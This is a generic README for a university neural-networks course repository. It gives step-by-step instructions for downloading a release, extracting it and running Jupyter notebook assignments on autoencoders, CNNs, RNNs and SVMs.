Welcome to the Neural-Networks repository! This collection includes assignments from the Neural Networks course at CSD AUTH. You will find practical examples that make learning about neural networks straightforward and engaging.
To get your application, visit this page to download: Neural-Networks Releases.
Follow these steps to download and run the software:
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Visit the Releases Page: Click the link above to go to the releases section. Here, you will see various versions of the software.
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Choose the Latest Version: Look for the latest version, usually displayed at the top.
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Download the Files: Click on the link for the appropriate file type (e.g., ZIP or executable). The most common choice will be the ZIP file, which includes all the assignments.
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Extract the Files: After downloading, find the ZIP file in your Downloads folder. Right-click on the file and select "Extract All..." to unpack its contents.
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Open Jupyter Notebook: Ensure you have Jupyter Notebook installed on your computer. If not, you can install Anaconda, which includes Jupyter. Open Anaconda Navigator, then launch Jupyter Notebook.
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Navigate to the Directory: In Jupyter Notebook, go to the directory where you extracted the files. You can do this by clicking "Upload" and selecting your extracted files.
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Run the Assignments: Click on any assignment (it will have a
.ipynbextension) to open it. Now, you can run the code cells to see how they work.
To run the software smoothly, make sure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.6 or higher
- Jupyter Notebook: Installed through Anaconda or pip
- Libraries: Make sure to have Keras, TensorFlow, and Matplotlib installed. You can install these using pip:
pip install keras tensorflow matplotlib
This repository contains various assignments focusing on neural networks. Here’s a summary of what you can find:
- Autoencoders: Learn how to compress and reconstruct data.
- Convolutional Neural Networks (CNN): Understand how these networks work with images.
- Recurrent Neural Networks (RNN): Explore sequences and time series.
- Support Vector Machine (SVM): See how this algorithm classifies data.
Before diving into the assignments, make sure you are familiar with basic concepts of Python and data science. Here are some resources to brush up your skills:
- Basic Python Programming
- Fundamentals of Machine Learning
- Understanding Data Handling with Pandas
By completing the assignments, you will:
- Understand the core concepts of neural networks.
- Gain practical experience through hands-on assignments.
- Learn to implement different types of neural networks.
If you need help, feel free to ask questions. You can reach out via GitHub issues or contribute by sharing your insights. Collaboration is encouraged!
This project is open-source and free to use. You can modify it as per your needs while giving credit to the creators.
This repository covers:
- Deep Learning Techniques
- Neural Networks Architecture
- Real-World Applications in AI
- Experiments with Autoencoders and CNNs
This repository aligns with various topics in the field, including:
- auth
- autoencoder
- cnn
- csd
- deep-learning
- jupyter-notebook
- keras
- machine-learning
- neural-networks
- python
- rbf
- svm
- university-project
For more information, check the README files for each assignment, where you will find detailed explanations and objectives.
Congratulations on starting your journey into neural networks! By following these steps, you should now be able to download and run the software with ease. Enjoy exploring the fascinating world of deep learning!